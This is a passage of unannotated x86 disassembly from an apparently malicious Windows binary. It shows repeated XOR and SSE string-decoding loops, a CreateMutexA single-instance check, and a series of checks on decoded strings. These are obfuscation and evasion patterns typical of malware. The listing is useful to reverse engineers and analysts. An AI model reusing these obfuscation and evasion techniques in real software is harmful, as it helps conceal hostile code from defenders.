pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4468f0]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x18b]
pxor xmm1, xmm0
movd dword [ebp + ecx - 0x18b], xmm1
lea eax, [ecx + 4]
movd xmm0, eax
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4468f0]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x187]
pxor xmm1, xmm0
movd dword [ebp + ecx - 0x187], xmm1
add ecx, 8
cmp ecx, 0x10
jl 0x40a8b0
mov dword [ebp - 0x24], ecx
cmp ecx, 0x13
jge 0x40a9f0
nop dword [eax + eax]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x24]
add al, cl
xor byte [ebp + ecx - 0x18b], al
inc ecx
mov dword [ebp - 0x24], ecx
cmp ecx, 0x13
jl 0x40a9c0
lea eax, [ebp - 0x18b]
push eax
lea ecx, [ebp - 0xec]
call fcn.00403540
mov ecx, eax
call fcn.00403420
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
lea ecx, [ebp - 0xec]
call fcn.004034a0
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x411804
movups xmm0, xmmword [str._BCHJ]
movups xmmword [ebp - 0x18f], xmm0
mov eax, dword [0x4462a0]
mov dword [ebp - 0x17f], eax
mov ax, word [0x4462a4]
mov word [ebp - 0x17b], ax
mov al, byte [0x4462a6]
mov byte [ebp - 0x179], al
xor ecx, ecx
mov dword [ebp - 0x24], ecx
cmp edi, 2
jl 0x40abc0
movaps xmm4, xmmword [0x446860]
movaps xmm3, xmmword [0x446930]
movd xmm5, esi
movaps xmm6, xmmword [0x4468a0]
mov eax, 0x1f
movd xmm7, eax
movaps xmm0, xmmword [0x446910]
movaps xmmword [ebp - 0x130], xmm0
mov edx, dword [ebp - 0x130]
nop word [eax + eax]
movd xmm0, ecx
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4468f0]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x18f]
pxor xmm1, xmm0
movd dword [ebp + ecx - 0x18f], xmm1
lea eax, [ecx + 4]
movd xmm0, eax
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4468f0]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x18b]
pxor xmm1, xmm0
movd dword [ebp + ecx - 0x18b], xmm1
add ecx, 8
cmp ecx, 0x10
jl 0x40aab0
mov dword [ebp - 0x24], ecx
cmp ecx, 0x17
jge 0x40abf0
nop dword [eax + eax]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x24]
add al, cl
xor byte [ebp + ecx - 0x18f], al
inc ecx
mov dword [ebp - 0x24], ecx
cmp ecx, 0x17
jl 0x40abc0
lea edx, [ebp - 0x18f]
lea ecx, [ebp - 0x3bc]
call fcn.00404fc0
mov ecx, dword [str.oETYU_I__erjihtztrz_]
mov dword [ebp - 0x74], ecx
mov eax, dword [0x445f70]
mov dword [ebp - 0x70], eax
cmp byte [0x445f73], 0
je 0x40ad60
xor edx, edx
mov dword [ebp - 0x24], edx
cmp edi, 2
jl 0x40ad30
movaps xmm4, xmmword [0x446930]
movd xmm5, esi
mov edx, 0x1f
movd xmm6, edx
movaps xmm2, xmmword [0x446860]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x4468a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4468f0]
packuswb xmm1, xmm1
mov eax, dword [0x446910]
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, ecx
pxor xmm1, xmm0
movd dword [ebp - 0x74], xmm1
movaps xmm2, xmmword [0x446870]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x4468a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4468f0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x445f70]
pxor xmm1, xmm0
movd dword [ebp - 0x70], xmm1
jmp 0x40ad65
mov eax, 0x3521cfb3
mul edx
mov eax, dword [ebp - 0x24]
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul eax, eax, 0x35
mov edx, dword [ebp - 0x24]
mov cl, dl
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x74], cl
inc edx
mov dword [ebp - 0x24], edx
cmp edx, 8
jl 0x40ad30
mov edx, 0x1f
movq xmm0, qword [str.ZDPYWSH_IWP.A]
movq qword [ebp - 0x60], xmm0
mov eax, dword [0x445f3c]
mov dword [ebp - 0x58], eax
mov al, byte [0x445f40]
mov byte [ebp - 0x54], al
xor ecx, ecx
mov dword [ebp - 0x24], ecx
cmp edi, 2
jl 0x40ae90
movaps xmm4, xmmword [0x446930]
movd xmm5, esi
movd xmm6, edx
movaps xmm2, xmmword [0x446860]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x4468a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4468f0]
packuswb xmm1, xmm1
mov eax, dword [0x446910]
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.ZDPYWSH_IWP.A]
pxor xmm1, xmm0
movd dword [ebp - 0x60], xmm1
movaps xmm2, xmmword [0x446870]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x4468a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4468f0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x5c]
pxor xmm1, xmm0
movd dword [ebp - 0x5c], xmm1
mov ecx, 8
mov dword [ebp - 0x24], ecx
nop
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x24]
add al, cl
xor byte [ebp + ecx - 0x60], al
inc ecx
mov dword [ebp - 0x24], ecx
cmp ecx, 0xd
jl 0x40ae90
push 0
lea eax, [ebp - 0x74]
push eax
lea ecx, [ebp - 0x168]
call fcn.00403540
push eax
lea eax, [ebp - 0x60]
push eax
lea ecx, [ebp - 0x11c]
call fcn.00403540
push eax
lea edx, [ebp - 0x3bc]
lea ecx, [ebp - 0xec]
call fcn.004080a0
add esp, 4
mov ecx, eax
call fcn.00412840
mov esi, eax
lea ecx, [ebp - 0xec]
call fcn.004034a0
lea ecx, [ebp - 0x11c]
call fcn.004034a0
lea ecx, [ebp - 0x168]
call fcn.004034a0
cmp esi, 0xffffffff
jne 0x4117fd
movq xmm0, qword [0x446148]
movq qword [ebp - 0x13b], xmm0
mov ax, word [0x446150]
mov word [ebp - 0x133], ax
mov al, byte [0x446152]
mov byte [ebp - 0x131], al
xor edx, edx
mov dword [ebp - 0x24], edx
mov eax, 0x3521cfb3
mul edx
mov eax, dword [ebp - 0x24]
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul eax, eax, 0x35
mov edx, dword [ebp - 0x24]
mov cl, dl
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x13b], cl
inc edx
mov dword [ebp - 0x24], edx
cmp edx, 0xb
jl 0x40af53
movq xmm0, qword [str.ZDPYWSH_IWP.A]
movq qword [ebp - 0x60], xmm0
mov eax, dword [0x445f3c]
mov dword [ebp - 0x58], eax
mov al, byte [0x445f40]
mov byte [ebp - 0x54], al
xor ecx, ecx
mov dword [ebp - 0x24], ecx
cmp edi, 2
jl 0x40b0c0
movaps xmm4, xmmword [0x446930]
mov eax, 4
movd xmm5, eax
mov eax, 0x1f
movd xmm6, eax
movaps xmm2, xmmword [0x446860]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x4468a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4468f0]
packuswb xmm1, xmm1
mov eax, dword [0x446910]
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.ZDPYWSH_IWP.A]
pxor xmm1, xmm0
movd dword [ebp - 0x60], xmm1
movaps xmm2, xmmword [0x446870]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x4468a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4468f0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x5c]
pxor xmm1, xmm0
movd dword [ebp - 0x5c], xmm1
mov ecx, 8
mov dword [ebp - 0x24], ecx
nop word [eax + eax]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x24]
add al, cl
xor byte [ebp + ecx - 0x60], al
inc ecx
mov dword [ebp - 0x24], ecx
cmp ecx, 0xd
jl 0x40b0c0
push 0
lea eax, [ebp - 0x13b]
push eax
lea ecx, [ebp - 0x168]
call fcn.00403540
push eax
lea eax, [ebp - 0x60]
push eax
lea ecx, [ebp - 0x11c]
call fcn.00403540
push eax
lea edx, [ebp - 0x3bc]
lea ecx, [ebp - 0xec]
call fcn.004080a0
add esp, 4
mov ecx, eax
call fcn.00412840
mov esi, eax
lea ecx, [ebp - 0xec]
call fcn.004034a0
lea ecx, [ebp - 0x11c]
call fcn.004034a0
lea ecx, [ebp - 0x168]
call fcn.004034a0
cmp esi, 0xffffffff
jne 0x4117fd
mov eax, dword [str.t_vkm:]
mov dword [ebp - 0x14d], eax
mov ax, word [0x446398]
mov word [ebp - 0x149], ax
test ah, ah
je 0x40b1b3
xor edx, edx
mov dword [ebp - 0x24], edx
nop word [eax + eax]
mov eax, 0x3521cfb3
mul edx
mov eax, dword [ebp - 0x24]
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul eax, eax, 0x35
mov edx, dword [ebp - 0x24]
mov cl, dl
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x14d], cl
inc edx
mov dword [ebp - 0x24], edx
cmp edx, 6
jl 0x40b180
movq xmm0, qword [str.ZDPYWSH_IWP.A]
movq qword [ebp - 0x60], xmm0
mov eax, dword [0x445f3c]
mov dword [ebp - 0x58], eax
mov al, byte [0x445f40]
mov byte [ebp - 0x54], al
xor ecx, ecx
mov dword [ebp - 0x24], ecx
cmp edi, 2
jl 0x40b2f0
movaps xmm4, xmmword [0x446930]
mov eax, 4
movd xmm5, eax
mov eax, 0x1f
movd xmm6, eax
movaps xmm2, xmmword [0x446860]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x4468a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4468f0]
packuswb xmm1, xmm1
mov eax, dword [0x446910]
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.ZDPYWSH_IWP.A]
pxor xmm1, xmm0
movd dword [ebp - 0x60], xmm1
movaps xmm2, xmmword [0x446870]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x4468a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4468f0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x5c]
pxor xmm1, xmm0
movd dword [ebp - 0x5c], xmm1
mov ecx, 8
mov dword [ebp - 0x24], ecx
nop word [eax + eax]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x24]
add al, cl
xor byte [ebp + ecx - 0x60], al
inc ecx
mov dword [ebp - 0x24], ecx
cmp ecx, 0xd
jl 0x40b2f0
push 0
lea eax, [ebp - 0x14d]
push eax
lea ecx, [ebp - 0x168]
call fcn.00403540
push eax
lea eax, [ebp - 0x60]
push eax
lea ecx, [ebp - 0x11c]
call fcn.00403540
push eax
lea edx, [ebp - 0x3bc]
lea ecx, [ebp - 0xec]
call fcn.004080a0
add esp, 4
mov ecx, eax
call fcn.00412840
mov esi, eax
lea ecx, [ebp - 0xec]
call fcn.004034a0
lea ecx, [ebp - 0x11c]
call fcn.004034a0
lea ecx, [ebp - 0x168]
call fcn.004034a0
cmp esi, 0xffffffff
jne 0x4117fd
movq xmm0, qword [0x446564]
movq qword [ebp - 0x60], xmm0
mov eax, dword [0x44656c]
mov dword [ebp - 0x58], eax
mov al, byte [0x446570]
mov byte [ebp - 0x54], al
xor ecx, ecx
mov dword [ebp - 0x24], ecx
lea esi, [ecx + 4]
cmp edi, 2
jl 0x40b4c0
movaps xmm4, xmmword [0x446930]
movd xmm5, esi
mov eax, 0x1f
movd xmm6, eax
movaps xmm2, xmmword [0x446860]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x4468a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4468f0]
packuswb xmm1, xmm1
mov eax, dword [0x446910]
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x446564]
pxor xmm1, xmm0
movd dword [ebp - 0x60], xmm1
movaps xmm2, xmmword [0x446870]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x4468a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4468f0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x5c]
pxor xmm1, xmm0
movd dword [ebp - 0x5c], xmm1
mov ecx, 8
mov dword [ebp - 0x24], ecx
nop dword [eax + eax]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x24]
add al, cl
xor byte [ebp + ecx - 0x60], al
inc ecx
mov dword [ebp - 0x24], ecx
cmp ecx, 0xd
jl 0x40b4c0
movq xmm0, qword [str.ZDPYWSH_IWP.A]
movq qword [ebp - 0x178], xmm0
mov eax, dword [0x445f3c]
mov dword [ebp - 0x170], eax
mov al, byte [0x445f40]
mov byte [ebp - 0x16c], al
xor ecx, ecx
mov dword [ebp - 0x24], ecx
cmp edi, 2
jl 0x40b630
movaps xmm4, xmmword [0x446930]
movd xmm5, esi
mov eax, 0x1f
movd xmm6, eax
movaps xmm2, xmmword [0x446860]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x4468a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4468f0]
packuswb xmm1, xmm1
mov eax, dword [0x446910]
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.ZDPYWSH_IWP.A]
pxor xmm1, xmm0
movd dword [ebp - 0x178], xmm1
movaps xmm2, xmmword [0x446870]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x4468a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4468f0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x174]
pxor xmm1, xmm0
movd dword [ebp - 0x174], xmm1
mov ecx, 8
mov dword [ebp - 0x24], ecx
nop
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x24]
add al, cl
xor byte [ebp + ecx - 0x178], al
inc ecx
mov dword [ebp - 0x24], ecx
cmp ecx, 0xd
jl 0x40b630
push 0
lea eax, [ebp - 0x60]
push eax
lea ecx, [ebp - 0x168]
call fcn.00403540
push eax
lea eax, [ebp - 0x178]
push eax
lea ecx, [ebp - 0x11c]
call fcn.00403540
push eax
lea edx, [ebp - 0x3bc]
lea ecx, [ebp - 0xec]
call fcn.004080a0
add esp, 4
mov ecx, eax
call fcn.00412840
mov esi, eax
lea ecx, [ebp - 0xec]
call fcn.004034a0
lea ecx, [ebp - 0x11c]
call fcn.004034a0
lea ecx, [ebp - 0x168]
call fcn.004034a0
cmp esi, 0xffffffff
jne 0x4117fd
movq xmm0, qword [str.tPEQqUHH]
movq qword [ebp - 0x75], xmm0
mov al, byte [0x4463a4]
mov byte [ebp - 0x6d], al
xor edx, edx
mov dword [ebp - 0x24], edx
mov eax, 0x3521cfb3
mul edx
mov eax, dword [ebp - 0x24]
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul eax, eax, 0x35
mov edx, dword [ebp - 0x24]
mov cl, dl
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x75], cl
inc edx
mov dword [ebp - 0x24], edx
cmp edx, 9
jl 0x40b6e6
movq xmm0, qword [str.ZDPYWSH_IWP.A]
movq qword [ebp - 0x60], xmm0
mov eax, dword [0x445f3c]
mov dword [ebp - 0x58], eax
mov al, byte [0x445f40]
mov byte [ebp - 0x54], al
xor ecx, ecx
mov dword [ebp - 0x24], ecx
cmp edi, 2
jl 0x40b850
movaps xmm4, xmmword [0x446930]
mov eax, 4
movd xmm5, eax
mov eax, 0x1f
movd xmm6, eax
movaps xmm2, xmmword [0x446860]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x4468a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4468f0]
packuswb xmm1, xmm1
mov eax, dword [0x446910]
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.ZDPYWSH_IWP.A]
pxor xmm1, xmm0
movd dword [ebp - 0x60], xmm1
movaps xmm2, xmmword [0x446870]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x4468a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4468f0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x5c]
pxor xmm1, xmm0
movd dword [ebp - 0x5c], xmm1
mov ecx, 8
mov dword [ebp - 0x24], ecx
nop word [eax + eax]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x24]
add al, cl
xor byte [ebp + ecx - 0x60], al
inc ecx
mov dword [ebp - 0x24], ecx
cmp ecx, 0xd
jl 0x40b850
push 0
lea eax, [ebp - 0x75]
push eax
lea ecx, [ebp - 0x168]
call fcn.00403540
push eax
lea eax, [ebp - 0x60]
push eax
lea ecx, [ebp - 0x11c]
call fcn.00403540
push eax
lea edx, [ebp - 0x3bc]
lea ecx, [ebp - 0xec]
call fcn.004080a0
add esp, 4
mov ecx, eax
call fcn.00412840
mov esi, eax
lea ecx, [ebp - 0xec]
call fcn.004034a0
lea ecx, [ebp - 0x11c]
call fcn.004034a0
lea ecx, [ebp - 0x168]
call fcn.004034a0
cmp esi, 0xffffffff
jne 0x4117fd
movq xmm0, qword [str.vSYLLHBpTPT_TTT]
movq qword [ebp - 0x48], xmm0
mov eax, dword [0x4462dc]
mov dword [ebp - 0x40], eax
cmp byte [0x4462df], 0
je 0x40ba4d
xor ecx, ecx
mov dword [ebp - 0x24], ecx
cmp edi, 2
jl 0x40ba20
movaps xmm4, xmmword [0x446930]
mov eax, 4
movd xmm5, eax
mov eax, 0x1f
movd xmm6, eax
movaps xmm2, xmmword [0x446860]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x4468a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4468f0]
packuswb xmm1, xmm1
mov eax, dword [0x446910]
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.vSYLLHBpTPT_TTT]
pxor xmm1, xmm0
movd dword [ebp - 0x48], xmm1
movaps xmm2, xmmword [0x446870]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x4468a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4468f0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x44]
pxor xmm1, xmm0
movd dword [ebp - 0x44], xmm1
mov ecx, 8
mov dword [ebp - 0x24], ecx
nop
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x24]
add al, cl
xor byte [ebp + ecx - 0x48], al
inc ecx
mov dword [ebp - 0x24], ecx
cmp ecx, 0xc
jl 0x40ba20
movq xmm0, qword [str.ZDPYWSH_IWP.A]
movq qword [ebp - 0x60], xmm0
mov eax, dword [0x445f3c]
mov dword [ebp - 0x58], eax
mov al, byte [0x445f40]
mov byte [ebp - 0x54], al
xor ecx, ecx
mov dword [ebp - 0x24], ecx
cmp edi, 2
jl 0x40bb81
movaps xmm4, xmmword [0x446930]
mov eax, 4
movd xmm5, eax
mov eax, 0x1f
movd xmm6, eax
movaps xmm2, xmmword [0x446860]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
